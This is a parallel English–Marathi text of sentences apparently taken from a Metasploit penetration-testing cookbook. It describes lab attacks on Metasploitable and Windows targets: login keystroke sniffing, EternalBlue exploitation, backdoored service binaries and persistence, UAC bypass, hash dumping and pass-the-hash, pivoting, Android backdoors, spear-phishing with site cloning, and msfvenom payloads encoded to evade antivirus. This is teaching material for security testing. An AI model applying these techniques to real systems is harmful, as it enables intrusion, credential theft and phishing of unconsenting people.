Looking at the dumped keystrokes, you can clearly identify that the target user went to gmail.com and entered his/her credentials to log in.

डंप केलेले कीस्ट्रोक पाहता, आपण स्पष्टपणे ओळखू शकता की लक्ष्यित वापरकर्ता gmail.com वर गेला आणि लॉग इन करण्यासाठी त्याचे/तिचे क्रेडेन्शियल्स प्रविष्ट केले.


What if you want to sniff the Windows login password?

जर तुम्हाला विंडोज लॉगिन पासवर्ड स्निफ करायचा असेल तर?


Obviously, you can switch your active desktop to WinSta0\Winlogon using the setdesktop command, but here we will discuss an alternate approach as well.

अर्थात, तुम्ही setdesktop कमांड वापरून तुमचा सक्रिय डेस्कटॉप WinSta0\Winlogon वर स्विच करू शकता, परंतु येथे आपण पर्यायी दृष्टिकोन देखील चर्चा करू.


We can migrate to a process which runs during the Windows login.

आम्ही विंडोज लॉगइन दरम्यान चालणाऱ्या प्रक्रियेवर स्थलांतरित होऊ शकतो.


Let's execute the ps command to check the running processes.

चला, चालू असलेल्या प्रक्रिया तपासण्यासाठी ps कमांड कार्यान्वित करूया.


You will find winlogon.exe running as a process with a process ID.

तुम्हाला winlogon.exe प्रक्रिया आयडी (process ID) सह एक प्रक्रिया म्हणून चालताना दिसेल.


Now, let's migrate to this PID and check our active desktop again.

आता, या PID वर स्थलांतरित होऊया आणि पुन्हा आपला सक्रिय डेस्कटॉप तपासूया.


You can see that our active desktop has changed to WinSta0\Winlogon.

तुम्ही पाहू शकता की, आपला सक्रिय डेस्कटॉप WinSta0\Winlogon वर बदलला आहे.


Now, we can run the keyscan_start command to start sniffing the keystrokes on the Windows login screen.

आता, विंडोज लॉगिन स्क्रीनवर कीस्ट्रोक स्निफ करणे सुरू करण्यासाठी, आपण keyscan_start कमांड चालवू शकतो.


To capture the login password, log into the Metasploitable 3 machine and then use the keyscan_dump Meterpreter command to dump the keystrokes.

लॉगिन पासवर्ड कॅप्चर करण्यासाठी, Metasploitable 3 मशीनमध्ये लॉग इन करा आणि नंतर कीस्ट्रोक डंप करण्यासाठी keyscan_dump Meterpreter कमांड वापरा.


Similarly, we can get back to the Default desktop by migrating to any process which is running on the default desktop; for example, explorer.exe.

त्याचप्रमाणे, आपण डीफॉल्ट डेस्कटॉपवर चालणाऱ्या कोणत्याही प्रक्रियेवर स्थलांतरित होऊन डीफॉल्ट डेस्कटॉपवर परत येऊ शकतो; उदाहरणार्थ, explorer.exe.


लक्ष्य आर्किटेक्चर तपासत आहे...


Since the target doesn't have a root password, it is possible to use the MySQL service to upload a shell and gain remote access to the system.

लक्ष्यावर रूट पासवर्ड नसल्यामुळे, शेल अपलोड करण्यासाठी आणि सिस्टमवर रिमोट ऍक्सेस मिळवण्यासाठी MySQL सेवेचा वापर करणे शक्य आहे.


So, never forget to test the basics, even if you think that no one would configure a service without a password.

म्हणून, मूलभूत गोष्टींची चाचणी घेणे कधीही विसरू नका, जरी तुम्हाला असे वाटत असेल की कोणीही पासवर्डशिवाय सेवा कॉन् figureर करणार नाही.


This vulnerability affects Windows machines without security update MS17-010 for Microsoft Windows SMB Server SMBv1 Server.

ही असुरक्षितता मायक्रोसॉफ्ट विंडोज SMB सर्व्हर SMBv1 सर्व्हरसाठी सुरक्षा अपडेट MS17-010 नसलेल्या विंडोज मशीनवर परिणाम करते.


To launch the exploit, use the MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit module, set the target IP address, use a meterpreter reverse TCP payload, and specify the listening address:

एक्सप्लॉईट सुरू करण्यासाठी, MS17-010 EternalBlue SMB रिमोट विंडोज कर्नल पूल करप्शन एक्सप्लॉईट मॉड्यूल वापरा, लक्ष्य IP पत्ता सेट करा, मीटरप्रेटर रिव्हर्स TCP पेलोड वापरा आणि ऐकण्याचा पत्ता निर्दिष्ट करा:


One outcome of a penetration test that differentiates it from a vulnerability scanner, is that no one will state that what you've found is a false positive when you present them with a screenshot of a shell running on the target system.

एका भेदनक्षमतेच्या चाचणीचा एक परिणाम जो व्हल्नरेबिलिटी स्कॅनरपेक्षा वेगळा आहे, तो म्हणजे जेव्हा तुम्ही त्यांना लक्ष्य प्रणालीवर चालणाऱ्या शेलचा स्क्रीनशॉट सादर करता, तेव्हा कोणीही असे म्हणणार नाही की तुम्हाला जे सापडले आहे ते खोटे सकारात्मक आहे.


Having a shell on the target system is great, but sometimes it is not enough.

लक्ष्य प्रणालीवर शेल असणे उत्तम आहे, परंतु काहीवेळा ते पुरेसे नसते.


With a backdoor, we will be able to ensure persistence and get access to the system, even if the vulnerability gets patched.

बॅकडोअरसह, आम्ही सातत्य सुनिश्चित करू शकू आणि असुरक्षितता पॅच झाली तरीही सिस्टममध्ये प्रवेश करू शकू.


Since we cannot backdoor a binary while it is running, the first thing we need to do is to kill the Apache process (httpd.exe), using the kill command followed by the PID of the process:

आम्ही बायनरी बॅकडोअर करू शकत नसल्यामुळे, ते चालू असताना, पहिली गोष्ट म्हणजे किल कमांड वापरून Apache प्रक्रिया (httpd.exe) मारणे, त्यानंतर प्रक्रियेचा PID:


Then, we use the download command within meterpreter to download the service binary we want to backdoor:

नंतर, आम्ही बॅकडोअर करू इच्छित असलेली सेवा बायनरी डाउनलोड करण्यासाठी मीटरप्रेटरमधील डाउनलोड कमांड वापरतो:


To backdoor the service, we will use msfconsole, with a reverse TCP.

सेवेला बॅकडोअर करण्यासाठी, आम्ही रिव्हर्स TCP सह msfconsole वापरू.


Now that we have the backdoor ready, we need to start a listener for the reverse connection; for that we will use the Generic Payload Handler:

आता आपल्याकडे बॅकडोअर तयार आहे, आम्हाला रिव्हर्स कनेक्शनसाठी एक श्रोता सुरू करणे आवश्यक आहे; यासाठी आम्ही जेनेरिक पेलोड हँडलर वापरू:


Back in the session, we will rename the httpd.exe file to httpd.exe.backup, upload the backdoored version, and rename it to httpd.exe:

सत्रात परत, आम्ही httpd.exe फाइलचे नाव httpd.exe.backup असे बदलू, बॅकडोअर केलेले व्हर्जन अपलोड करू आणि त्याचे नाव httpd.exe असे ठेवू:


Then, we will drop into a system command shell, and use the net stop command to stop the wampapache and net start to start it up again:

नंतर, आम्ही सिस्टम कमांड शेलमध्ये प्रवेश करू आणि wampapache थांबवण्यासाठी नेट स्टॉप कमांड आणि ते पुन्हा सुरू करण्यासाठी नेट स्टार्ट वापरू:


To use the Windows Registry Only Persistence module, we need to specify the session to run the module on, in this case, session 1 with what we got from the MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit; set the payload; set the listening IP address; and use the exploit command to launch the exploit:

विंडोज रजिस्ट्री ओन्ली परसिस्टन्स मॉड्यूल वापरण्यासाठी, आम्हाला ज्या सत्रावर मॉड्यूल चालवायचे आहे ते निर्दिष्ट करणे आवश्यक आहे, या प्रकरणात, MS17-010 EternalBlue SMB रिमोट विंडोज कर्नल पूल करप्शन एक्सप्लॉईटमधून जे मिळाले आहे ते सत्र 1; पेलोड सेट करा; ऐकण्याचा IP पत्ता सेट करा; आणि एक्सप्लॉईट सुरू करण्यासाठी एक्सप्लॉईट कमांड वापरा:


To trigger the exploit, simply reboot the Metasploitable 3 machine and we will get a new session:

एक्सप्लॉईट सुरू करण्यासाठी, फक्त Metasploitable 3 मशीन रीबूट करा आणि आम्हाला नवीन सत्र मिळेल:


By logging off and logging in as the administrator user on the target machine, we were able to verify that the backdoor works as expected.

लक्ष्य मशीनवर प्रशासक वापरकर्त्याच्या रूपात लॉग ऑफ आणि लॉग इन करून, आम्ही हे सत्यापित करू शकलो की बॅकडोअर अपेक्षेप्रमाणे कार्य करते.


A Denial of Service (DoS) attack denies legitimate users access to computer services (or resources), usually by overloading the service with requests or by exploiting vulnerabilities, resulting in a degradation of performance, and possibly crashing the service or even the operating system.

डिनियल ऑफ सर्व्हिस (DoS) हल्ला, कायदेशीर वापरकर्त्यांना संगणक सेवा (किंवा संसाधने) वापरण्यापासून प्रतिबंधित करतो, सामान्यतः सेवेवर विनंत्यांचा अतिभार टाकून किंवा असुरक्षांचा फायदा घेऊन, ज्यामुळे कार्यक्षमतेत घट होते आणि संभाव्यतः सेवा किंवा ऑपरेटिंग सिस्टम क्रॅश होते.


Before using the SMBLoris NBSS Denial of Service auxiliary DoS module, we need to use the ulimit command to set the maximum number of open file descriptors to 65535, so we can handle simultaneous connections:

SMBLoris NBSS Denial of Service auxiliary DoS मॉड्यूल वापरण्यापूर्वी, आम्हाला उघडलेल्या फाइल डिस्क्रिप्टर्सची कमाल संख्या 65535 वर सेट करण्यासाठी ulimit कमांड वापरणे आवश्यक आहे, जेणेकरून आम्ही एकाच वेळी कनेक्शन हाताळू शकू:


We can launch msfconsole with the -q option, so it does not print the banner on startup.

आम्ही -q पर्यायासह msfconsole सुरू करू शकतो, जेणेकरून ते स्टार्टअपवर बॅनर प्रिंट करत नाही.


The migrate command is used to migrate from one process context to another.

मायग्रेट कमांडचा वापर एका प्रोसेस कॉन्टेक्स्टमधून दुसऱ्या कॉन्टेक्स्टमध्ये स्थलांतरित होण्यासाठी केला जातो.


Migrating to a stable system process can help us perform our penetration testing smoothly.

एका स्थिर प्रणाली प्रक्रियेमध्ये स्थलांतर करणे आपल्याला आपले प्रवेश परीक्षण (पेनेट्रेशन टेस्टिंग) सुरळीतपणे पार पाडण्यास मदत करू शकते.


We can migrate to any other active process by using the process name or the ID.

आम्ही प्रक्रिया नाव किंवा आयडी वापरून इतर कोणत्याही सक्रिय प्रक्रियेमध्ये स्थलांतर करू शकतो.


The ps command can be used to identify all active processes along with their names and IDs.

पीएस (ps) कमांडचा वापर त्यांच्या नावांसह आणि आयडीसह सर्व सक्रिय प्रक्रिया ओळखण्यासाठी केला जाऊ शकतो.


These two Meterpreter commands are very handy and are used frequently during penetration testing.

हे दोन मीटरप्रेटर कमांड खूप उपयुक्त आहेत आणि प्रवेश परीक्षणादरम्यान वारंवार वापरले जातात.


UAC is inherently broken and can be trivially defeated.

UAC मुळातच सदोष आहे आणि ते सहजपणे पराभूत केले जाऊ शकते.


For this recipe, we will target the Windows 7 machine.

या कृतीसाठी, आम्ही विंडोज 7 मशीनवर लक्ष्य ठेवू.


To generate the backdoor, we will use a Windows Meterpreter reverse TCP payload.

बॅकडोअर तयार करण्यासाठी, आम्ही विंडोज मीटरप्रेटर रिव्हर्स टीसीपी (TCP) पेलोड वापरू.


After setting the listening address with the LHOST option and looking at the available options for the generate command, we will use the -t option for the output format.

LHOST पर्यायासह ऐकण्याचा पत्ता सेट केल्यानंतर आणि जनरेट कमांडसाठी उपलब्ध पर्याय पाहिल्यानंतर, आम्ही आउटपुट फॉरमॅटसाठी -t पर्याय वापरू.


Now that we have created the backdoor, we need to set up a listener to receive the reverse shell.

आता आपण बॅकडोअर तयार केले आहे, आम्हाला रिव्हर्स शेल (reverse shell) प्राप्त करण्यासाठी एक श्रोता (listener) सेट करणे आवश्यक आहे.


By starting the listener with run -j, it will run it in the context of a job, allowing us to continue using the msfconsole.

रन -जे (run -j) सह श्रोता सुरू करून, ते नोकरीच्या संदर्भात चालवेल, ज्यामुळे आम्हाला msfconsole वापरणे सुरू ठेवता येईल.


To copy the backdoor to the target, we can use the FTP File Server auxiliary module.

बॅकडोअर लक्ष्यस्थानावर कॉपी करण्यासाठी, आम्ही FTP फाइल सर्व्हर (File Server) सहाय्यक मॉड्यूल वापरू शकतो.


If everything went well, we should have a new Meterpreter session on the target machine.

जर सर्व काही व्यवस्थित झाले, तर आपल्याकडे लक्ष्य मशीनवर एक नवीन मीटरप्रेटर सत्र (Meterpreter session) असले पाहिजे.


Now that we have a session on the target machine, one of the first things we want is to try to elevate our privileges.

आता आपल्याकडे लक्ष्य मशीनवर सत्र आहे, आपल्याला प्रथम करायची गोष्ट म्हणजे आपले विशेषाधिकार वाढवण्याचा प्रयत्न करणे.


However, privilege escalation using the getsystem command fails because of UAC.

परंतु, getsystem कमांड वापरून विशेषाधिकार वाढवणे UAC मुळे अयशस्वी होते.


As you can see, bypassing UAC is easy, which is why you should not rely on UAC as a security mechanism.

तुम्ही पाहू शकता की, UAC बायपास करणे सोपे आहे, म्हणूनच तुम्ही सुरक्षा यंत्रणेसाठी UAC वर अवलंबून राहू नये.


Security Accounts Manager (SAM) is a database in the Windows operating system that contains usernames and passwords.

सिक्युरिटी अकाउंट्स मॅनेजर (SAM) विंडोज ऑपरेटिंग सिस्टममधील एक डेटाबेस आहे, ज्यामध्ये वापरकर्तानाव आणि पासवर्ड असतात.


First, we will start with the classic Meterpreter hashdump command.

सुरुवातीला, आपण क्लासिक मीटरप्रेटर हॅशडंप कमांडने सुरुवात करू.


The post-exploitation module will dump the local accounts from the SAM database.

पोस्ट-एक्सप्लॉयटेशन मॉड्यूल SAM डेटाबेसवरून स्थानिक खाती डंप करेल.


To perform a pass the hash attack, we can use the Microsoft Windows Authenticated User Code Execution exploit module.

पास द हॅश (pass the hash) हल्ला करण्यासाठी, आम्ही मायक्रोसॉफ्ट विंडोज ऑथेंटिकेटेड यूजर कोड एक्झिक्युशन (Authenticated User Code Execution) एक्सप्लॉइट मॉड्यूल वापरू शकतो.


The attacker can compromise a web server that is connected to the internet.

आक्रमक इंटरनेटशी जोडलेल्या वेब सर्व्हरमध्ये प्रवेश करू शकतो.


Then, the attacker uses the compromised server to access the internal network.

त्यानंतर, आक्रमक अंतर्गत नेटवर्कमध्ये प्रवेश करण्यासाठी तडजोड केलेल्या सर्व्हरचा वापर करतो.


This is a typical scenario that involves pivoting.

हे एक सामान्य उदाहरण आहे ज्यामध्ये पिव्हटिंगचा समावेश आहे.


In our lab, we use a dual home server to simulate an internet-facing server with access to the LAN network.

आपल्या प्रयोगशाळेत, आम्ही लॅन नेटवर्कमध्ये प्रवेशासह इंटरनेट-फेसिंग सर्व्हरचे अनुकरण करण्यासाठी एक दुहेरी होम सर्व्हर वापरतो.


To set up the Windows 10 client machine for this recipe, we first need to configure the network adapter.

या कृतीसाठी विंडोज 10 क्लायंट मशीन सेट करण्यासाठी, प्रथम नेटवर्क एडाप्टर कॉन्फिगर करणे आवश्यक आहे.


Then, we will disable the Windows 10 firewall and add a new registry key.

त्यानंतर, आम्ही विंडोज 10 फायरवॉल अक्षम करू आणि नवीन रजिस्ट्री की जोडू.


First, we will target the Linux server using the Samba "username map script" Command Execution exploit.

सुरुवातीला, आम्ही सांबा "युजरनेम मॅप स्क्रिप्ट" कमांड एक्झिक्युशन एक्सप्लॉइट वापरून लिनक्स सर्व्हरला लक्ष्य करू.


Now that we have a session, we will use the sessions command with the -u option to upgrade the shell to a Meterpreter session.

आता आपल्याकडे सत्र (session) आहे, आम्ही शेलला मीटरप्रेटर सत्रात श्रेणीसुधारित करण्यासाठी -u पर्यायासह सत्र कमांड वापरू.


With our newly created Meterpreter session, we can use the ifconfig command on the target to see the available interfaces.

आमच्या नव्याने तयार केलेल्या मीटरप्रेटर सत्रासह, आम्ही उपलब्ध इंटरफेस पाहण्यासाठी लक्ष्य (target) वर ifconfig कमांड वापरू शकतो.


Our next aim will be to find which systems are available on this local network.

या स्थानिक नेटवर्कवर कोणती प्रणाली उपलब्ध आहेत हे शोधणे हे आपले पुढील ध्येय असेल.


To access the target in the 10.0.0.0/24 network, we will have to route all the packets through the compromised Linux machine.

10.0.0.0/24 नेटवर्कमधील लक्ष्यमध्ये प्रवेश करण्यासाठी, आम्हाला सर्व पॅकेट तडजोड केलेल्या लिनक्स मशीनद्वारे रूट करावे लागतील.


Now, you can do a quick port scan on the IP address 10.0.0.161 using the TCP Port Scanner auxiliary module.

आता, आपण TCP पोर्ट स्कॅनर सहाय्यक मॉड्यूल वापरून IP पत्ता 10.0.0.161 वर जलद पोर्ट स्कॅन करू शकता.


Now that we know the target is running SMB, we can use the SMB Version Detection auxiliary module to display information about the system.

आता आपल्याला माहित आहे की लक्ष्य SMB चालवत आहे, आम्ही सिस्टमबद्दल माहिती प्रदर्शित करण्यासाठी SMB व्हर्जन डिटेक्शन सहाय्यक मॉड्यूल वापरू शकतो.


With the information gathered, we can use the Microsoft Windows Authenticated User Code Execution exploit module.

एकत्र केलेल्या माहितीसह, आम्ही मायक्रोसॉफ्ट विंडोज ऑथेंटिकेटेड यूजर कोड एक्झिक्युशन एक्सप्लॉइट मॉड्यूल वापरू शकतो.


Discussing pivoting is never complete without talking about port forwarding.

पोर्ट फॉरवर्डिंगबद्दल चर्चा केल्याशिवाय पिव्हटिंगची चर्चा पूर्ण होत नाही.


For this recipe, we will turn on Internet Information Services on the target Windows 10 machine and try to access it through port forwarding.

या कृतीसाठी, आम्ही लक्ष्य विंडोज 10 मशीनवर इंटरनेट माहिती सेवा (Internet Information Services) चालू करू आणि पोर्ट फॉरवर्डिंगद्वारे त्यात प्रवेश करण्याचा प्रयत्न करू.


Successful execution of the command shows that a local TCP relay has been set up between the attacker and the internal server.

कमांडच्या यशस्वी अंमलबजावणीमुळे असे दिसून येते की आक्रमक आणि अंतर्गत सर्व्हरमध्ये एक स्थानिक TCP रिले (relay) स्थापित केला गेला आहे.


During a penetration test, we are not always getting sessions with system or even administrator privileges.

पेनेट्रेशन टेस्ट दरम्यान, आम्हाला नेहमीच सिस्टम किंवा प्रशासक विशेषाधिकारांसह सत्रे मिळत नाहीत.


To harvest credentials, we will use the Windows Gather User Credentials post-exploitation module.

क्रेडेंशियल गोळा करण्यासाठी, आम्ही विंडोज गॅदर यूजर क्रेडेंशियल पोस्ट-एक्सप्लॉयटेशन मॉड्यूल वापरू.


After successfully compromising a target, our next task is to start enumeration.

लक्ष्यावर यशस्वीरित्या तडजोड केल्यानंतर, आपले पुढील कार्य म्हणजे गणना सुरू करणे.


After allowing unknown sources, you can install the backdoor and get a session.

अज्ञात स्त्रोतांना परवानगी दिल्यानंतर, तुम्ही बॅकडोअर स्थापित करू शकता आणि सत्र मिळवू शकता.


मीटरप्रिटर सत्र १ उघडले.


Besides all the regular meterpreter commands, using the Android payload we get a couple of specific commands.

सर्व नियमित मीटरप्रिटर कमांड्स व्यतिरिक्त, Android पेलोड वापरून आम्हाला काही विशिष्ट कमांड मिळतात.


Looking at the output of the help command, we can see that we can now get the call logs.

मदत कमांडच्या आउटपुटवर नजर टाकल्यास, आपण पाहू शकतो की आता आपण कॉल लॉग मिळवू शकतो.


There's more... Metasploit is not restricted to Android devices.

अजूनही खूप काही आहे... Metasploit फक्त Android उपकरणांपुरते मर्यादित नाही.


In this chapter, we will cover the following recipes: Getting started with the Social-Engineer Toolkit.

या अध्यायात, आम्ही खालील कृतींचा समावेश करू: सोशल-इंजिनियर टूलकिटसह प्रारंभ करणे.


SET can be installed on Linux and macOS.

SET लिनक्स आणि मॅकओएसवर स्थापित केले जाऊ शकते.


To launch SET on Kali Linux, start the Terminal window and run the setoolkit command.

काली लिनक्सवर SET सुरू करण्यासाठी, टर्मिनल विंडो सुरू करा आणि सेटटूलकिट कमांड चालवा.


SET is a Python-based automation tool that creates a menu-driven application for us.

SET हे एक पायथन-आधारित ऑटोमेशन टूल आहे जे आपल्यासाठी मेनू-चालित ॲप्लिकेशन तयार करते.


A spear-phishing attack vector is an email attack scenario that is used to send malicious emails.

एक स्पियर-फिशिंग अटॅक वेक्टर म्हणजे ईमेल हल्ला आहे जो दुर्भावनापूर्ण ईमेल पाठवण्यासाठी वापरला जातो.


In order to spoof your own email address, you will require a sendmail server.

तुमचे स्वतःचे ईमेल ॲड्रेस स्पूफ करण्यासाठी, तुम्हाला सेंडमेल सर्व्हरची आवश्यकता असेल.


The spear-phishing module has three different attack vectors at our disposal.

स्पियर-फिशिंग मॉड्यूलमध्ये आपल्याकडे तीन भिन्न अटॅक वेक्टर उपलब्ध आहेत.


Passing the first option will start the mass email attack.

पहिला पर्याय निवडल्यास, मोठ्या प्रमाणात ईमेल हल्ला सुरू होईल.


Then, we will be prompted to select a payload and specify the IP address or URL and the port for the listener.

नंतर, आम्हाला पेलोड निवडण्यास आणि श्रोत्यासाठी IP ॲड्रेस किंवा URL आणि पोर्ट निर्दिष्ट करण्यास सांगितले जाईल.


Setting up your own server may not be very reliable.

तुमचा स्वतःचा सर्व्हर सेट करणे फारसे विश्वसनीय नसू शकते.


The SET web attack vector is a unique way of utilizing multiple web-based attacks.

SET वेब अटॅक वेक्टर अनेक वेब-आधारित हल्ल्यांचा उपयोग करण्याचा एक अनोखा मार्ग आहे.


We have already seen how to use HTA in a previous recipe.

मागील कृतीमध्ये HTA कसे वापरायचे हे आपण पाहिले आहे.


After selecting the HTA Attack Method in SET, we can clone a site.

SET मध्ये HTA अटॅक मेथड निवडल्यानंतर, आम्ही साइट क्लोन करू शकतो.


Like the mass email attack, SET will launch Metasploit using a resource script.

मोठ्या प्रमाणात ईमेल हल्ल्याप्रमाणे, SET रिसोर्स स्क्रिप्ट वापरून Metasploit लॉन्च करेल.


Once the file or URL is opened by the target user, then each attack is thrown one by one.

लक्ष्य वापरकर्त्याने फाईल किंवा URL उघडल्यानंतर, प्रत्येक हल्ला एकापाठोपाठ एक टाकला जातो.


You definitely need a sound knowledge of Ruby scripting if you want to build good modules.

जर तुम्हाला चांगले मॉड्यूल तयार करायचे असतील, तर तुम्हाला निश्चितच रूबी स्क्रिप्टिंगचे चांगले ज्ञान असणे आवश्यक आहे.


You can also contribute to the Metasploit community by releasing your module and let others benefit from it.

तुम्ही तुमचे मॉड्यूल प्रसिद्ध करून आणि इतरांना त्याचा फायदा घेऊ देऊन मेटास्प्लॉइट समुदायाला योगदान देऊ शकता.


MSFvenom is the tool to use for payload generation and encoding and it is an evolution of msfpayload and msfencode, which it replaced on June 8th, 2015.

MSFvenom हे पेलोड तयार करणे आणि एन्कोडिंगसाठी वापरले जाणारे साधन आहे आणि ते msfpayload आणि msfencode चे उत्क्रांती आहे, ज्याने 8 जून 2015 रोजी त्याची जागा घेतली.


In this chapter, we dig a bit deeper on the available payloads, learn why encoders can be useful when trying to evade detection, check the available executable, transform output formats, and much more.

या अध्यायात, आम्ही उपलब्ध पेलोडवर अधिक लक्ष केंद्रित करू, हे शिकू की डिटेक्शन टाळण्याचा प्रयत्न करताना एन्कोडर उपयुक्त का असू शकतात, उपलब्ध एक्झिक्युटेबल तपासा, आउटपुट फॉरमॅट रूपांतरित करा आणि बरेच काही.


We can tell MSFvenom is one of the most versatile and useful payload-generation tools just by looking at the available payloads; the list proves that MSFvenom can help you get a session in almost any situation.

उपलब्ध पेलोड पाहता, आपण हे सांगू शकतो की MSFvenom हे सर्वात बहुमुखी आणि उपयुक्त पेलोड-जनरेशन साधनांपैकी एक आहे; यादी हे सिद्ध करते की MSFvenom तुम्हाला जवळजवळ कोणत्याही परिस्थितीत सत्र मिळविण्यात मदत करू शकते.


To generate a payload, we always need to use at least two options, -p and -f.

पेलोड तयार करण्यासाठी, आपल्याला नेहमी कमीतकमी दोन पर्याय वापरावे लागतील, -p आणि -f.


The -p option is used to specify which payload to generate from all those available in the Metasploit Framework, in this example a bind shell via GNU AWK.

मेटॅस्प्लॉइट फ्रेमवर्कमध्ये उपलब्ध असलेल्या सर्व पेलोडमधून कोणते पेलोड तयार करायचे हे निर्दिष्ट करण्यासाठी -p पर्याय वापरला जातो, या उदाहरणात जीएनयू एडब्ल्यूके द्वारे बाइंड शेल.


The -f option is used to specify the output format and to list all the available formats, use msfvenom with the --help-formats option.

आउटपुट फॉरमॅट निर्दिष्ट करण्यासाठी आणि सर्व उपलब्ध फॉरमॅटची यादी देण्यासाठी, --help-formats पर्यायासह msfvenom वापरा.


Executable formats will generate programs and scripts, while transform formats will just produce the payload.

एक्झिक्युटेबल फॉरमॅट प्रोग्राम आणि स्क्रिप्ट तयार करेल, तर ट्रान्सफॉर्म फॉरमॅट फक्त पेलोड तयार करेल.


We can also specify a custom payload by using the -p option with -, which can be useful when trying to evade security solutions.

सुरक्षा उपायांना टाळण्याचा प्रयत्न करताना -p पर्याय वापरून, आम्ही एक सानुकूल पेलोड देखील निर्दिष्ट करू शकतो.


When generating payloads, we use the -a option for the architecture to use, --platform to specify the platform of the payload, and -o to save the payload.

पेलोड तयार करताना, आम्ही वापरण्यासाठी -a पर्याय, पेलोडचे प्लॅटफॉर्म निर्दिष्ट करण्यासाठी --platform आणि पेलोड सेव्ह करण्यासाठी -o वापरतो.


One useful feature when doing exploit development, is the --smallest option, which we can use to generate the smallest possible payload.

एक्सप्लॉइट डेव्हलपमेंट करताना एक उपयुक्त वैशिष्ट्य म्हणजे --smallest पर्याय, ज्याचा वापर आपण सर्वात लहान पेलोड तयार करण्यासाठी करू शकतो.


To test this payload, we can set the execution permission using the chmod command, and then run the payload.

हे पेलोड तपासण्यासाठी, आम्ही chmod कमांड वापरून एक्झिक्यूशन परमिशन सेट करू शकतो आणि नंतर पेलोड चालवू शकतो.


In another terminal, we can use netcat to connect to the bind shell on port 4444.

दुसऱ्या टर्मिनलमध्ये, आम्ही 4444 पोर्टवर बाइंड शेलशी कनेक्ट होण्यासाठी नेटकॅट वापरू शकतो.


Now that we have learned how to create a basic bind shell, we will try to create a reverse shell.

आता आपण मूलभूत बाइंड शेल कसे तयार करायचे हे शिकलो आहोत, तर आपण रिव्हर्स शेल तयार करण्याचा प्रयत्न करू.


First, we need to see the available options for the selected payload, which we can do using the --payload-options option.

सुरुवातीला, निवडलेल्या पेलोडसाठी उपलब्ध पर्याय पाहणे आवश्यक आहे, जे आपण --payload-options पर्याय वापरून करू शकतो.


The options available are overwhelming, but, for the time being, we just need to set up the basic options, such as the listen address and port.

उपलब्ध पर्याय खूप जास्त आहेत, पण, सध्या, आपल्याला फक्त मूलभूत पर्याय सेट करणे आवश्यक आहे, जसे की ऐकण्याचा पत्ता आणि पोर्ट.


Creating payloads for a Windows target is as easy; all we need to do is specify the architecture to use, the target platform, the payload we need to run on the target, the listen followed by the output format and name.

विंडोज टार्गेटसाठी पेलोड तयार करणे सोपे आहे; आपल्याला फक्त वापरण्यासाठी आर्किटेक्चर, लक्ष्य प्लॅटफॉर्म, लक्ष्यवर चालवण्यासाठी आवश्यक असलेले पेलोड, आउटपुट फॉरमॅट आणि नाव यानंतर ऐकणे निर्दिष्ट करणे आवश्यक आहे.


Specifying an additional win32 shellcode, by using the -c or --add-code option, we can turn multiple payloads into one.

-c किंवा --add-code पर्याय वापरून, अतिरिक्त win32 शेलकोड निर्दिष्ट करून, आम्ही एकाधिक पेलोड एका बनवू शकतो.


Generating payloads is just the first step; nowadays security products, such as Intrusion Detection Systems (IDSs), antivirus and anti-malware software, can easily pick up the shellcode generated by MSFvenom.

पेलोड तयार करणे हे फक्त पहिले पाऊल आहे; आजकाल सुरक्षा उत्पादने, जसे की घुसखोरी शोध प्रणाली (आयडीएस), अँटीव्हायरस आणि अँटी-मालवेअर सॉफ्टवेअर, MSFvenom द्वारे तयार केलेले शेलकोड सहजपणे शोधू शकतात.


This module will enumerate user accounts in the default domain using PowerShell.

हे मॉड्यूल पॉवरशेल वापरून डीफॉल्ट डोमेनमध्ये वापरकर्ता खात्यांची गणना करेल.


To test it, I have added the Active Directory Domain Services Role to the Metasploitable 3 machine.

हे तपासण्यासाठी, मी मेटास्प्लोटेबल 3 मशीनवर सक्रिय डिरेक्टरी डोमेन सेवा भूमिका जोडली आहे.


Since we do not need to be a privileged user to use this module, it can be very useful during post exploitation.

या मॉड्यूलचा वापर करण्यासाठी आपल्याला विशेषाधिकार वापरकर्त्याची आवश्यकता नसल्यामुळे, हे पोस्ट एक्सप्लॉयटेशन दरम्यान खूप उपयुक्त ठरू शकते.


For that reason, in this recipe, we will learn how to build our own auxiliary module.

त्यामुळे, या रेसिपीमध्ये, आम्ही आमचे स्वतःचे सहाय्यक मॉड्यूल कसे तयार करायचे हे शिकू.


CWMP is a protocol used by providers for remote management of customer-premises equipment.

CWMP हा एक प्रोटोकॉल आहे जो प्रदात्यांद्वारे ग्राहक-परिसर उपकरणांच्या रिमोट व्यवस्थापनासाठी वापरला जातो.


When we connect to the router using the CWMP default port 7547, we get the following answer:

जेव्हा आपण CWMP डीफॉल्ट पोर्ट 7547 वापरून राउटरशी कनेक्ट होतो, तेव्हा आम्हाला खालील उत्तर मिळते:


By using curl with the -v option for verbose, we can see the request made and the reply from the router:

व्हर्बोजसाठी -v पर्यायासह कर्ल वापरून, आम्ही केलेली विनंती आणि राउटरकडून मिळालेले उत्तर पाहू शकतो:


With this information, we can build an auxiliary module to scan a target range and identify targets running Huawei home routers with CWMP enabled.

या माहितीसह, आम्ही लक्ष्य श्रेणी स्कॅन करण्यासाठी आणि CWMP सक्षम असलेल्या हुआवे होम राउटर चालवणाऱ्या लक्ष्यांची ओळख करण्यासाठी एक सहाय्यक मॉड्यूल तयार करू शकतो.


Again, we will just focus on the run method.

पुन्हा, आम्ही फक्त रन पद्धतीवर लक्ष केंद्रित करू.


For our module, we will start by changing the initialize method.

आमच्या मॉड्यूलसाठी, आम्ही इनिशियलाइझ पद्धत बदलून सुरुवात करू.


Using the register_options data structure, we can specify the default port number for the module, and since we want to scan for the CWMP service we will specify port 7547:

register_options डेटा स्ट्रक्चर वापरून, आम्ही मॉड्यूलसाठी डीफॉल्ट पोर्ट नंबर निर्दिष्ट करू शकतो आणि आम्हाला CWMP सेवेसाठी स्कॅन करायचे असल्याने आम्ही पोर्ट 7547 निर्दिष्ट करू:


Then, we need to compare the response and verify that the equipment is a Huawei Home Gateway.

त्यानंतर, आम्हाला प्रतिसाद तुलना करणे आणि उपकरण हुआवे होम गेटवे आहे की नाही हे सत्यापित करणे आवश्यक आहे.


For that, we will create a new variable called huawei holding the response from our router:

त्यासाठी, आम्ही हुआवे नावाचे नवीन व्हेरिएबल तयार करू जे आमच्या राउटरकडून मिळालेला प्रतिसाद धरून ठेवेल:


If fp == huawei print_good("#{ip}") report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => "CWMP - Huawei Home Gateway") end

